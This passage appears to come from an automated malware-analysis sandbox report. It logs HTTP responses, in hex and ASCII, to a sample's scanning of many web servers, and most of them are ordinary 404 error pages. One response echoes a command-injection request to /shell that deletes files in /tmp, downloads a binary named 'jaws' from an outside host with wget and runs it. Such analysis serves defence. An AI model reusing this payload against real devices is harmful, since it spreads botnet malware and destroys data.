3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Mon, 12 Jan 1970 08:53:03 GMTContent-Type: text/htmlConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:21 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: application/json; charset=utf-8Date: Sun, 14 Apr 2024 02:00:21 GMTETag: W/"82-ZZEOnEkq+Ql15HVNrO69nmmExdw"X-Powered-By: ExpressContent-Length: 130Connection: CloseData Raw: 7b 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 2c 22 6d 65 73 73 61 67 65 22 3a 22 43 61 6e 6e 6f 74 20 47 45 54 20 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"statusCode":404,"message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws","error":"Not Found"}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:21 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3 (Ubuntu)Date: Sun, 14 Apr 2024 02:00:21 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 20:54:33 GMTX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockContent-Length: 181Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=8, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: d3ecf13e-4f0a-805d-5650-1a750538a6Date: Sun, 14 Apr 2024 02:00:22 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: closeData Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 64 33 65 63 66 31 33 65 2d 34 66 30 61 2d 38 30 35 64 2d 35 36 35 30 2d 31 61 37 35 30 35 33 38 61 36 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">d3ecf13e-4f0a-805d-5650-1a750538a6</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 05:11:37 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveContent-Length: 109Date: Sun, 14 Apr 2024 02:00:23 GMTExpires: 0Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 01 Jan 1970 18:42:03 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 373Date: Sun, 14 Apr 2024 02:00:26 GMTConnection: keep-aliveExpires: Sun, 14 Apr 2024 02:00:26 GMTData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 44 4e 53 20 66 61 69 6c 75 72 65 3c 2f 48 31 3e 0a 54 68 65 20 73 65 72 76 65 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 62 6c 65 20 74 6f 20 73 65 72 76 69 63 65 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 20 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 0a 6c 61 74 65 72 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 31 31 26 23 34 36 3b 34 61 34 30 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 36 26 23 34 36 3b 32 34 39 30 62 38 66 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 31 31 26 23 34 36 3b 34 61 34 30 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 36 26 23 34 36 3b 32 34 39 30 62 38 66 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Service Unavailable</TITLE></HEAD><BODY><H1>Service Unavailable - DNS failure</H1>The server is temporarily unable to service your request. Please try againlater.<P>Reference #11.4a403617.1713060026.2490b8f6<P>https://errors.edgesuite.net/11.4a403617.1713060026.2490b8f6</P></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 05:13:26 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:26 GMTServer: Apache/2.4.58 (Unix) OpenSSL/3.0.11Content-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:26 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=10000Transfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:00:27 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:51:35 GMTServer: Apache/2.4.10 (Debian)Content-Length: 289Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.<br /></p><hr><address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:27 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:29 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
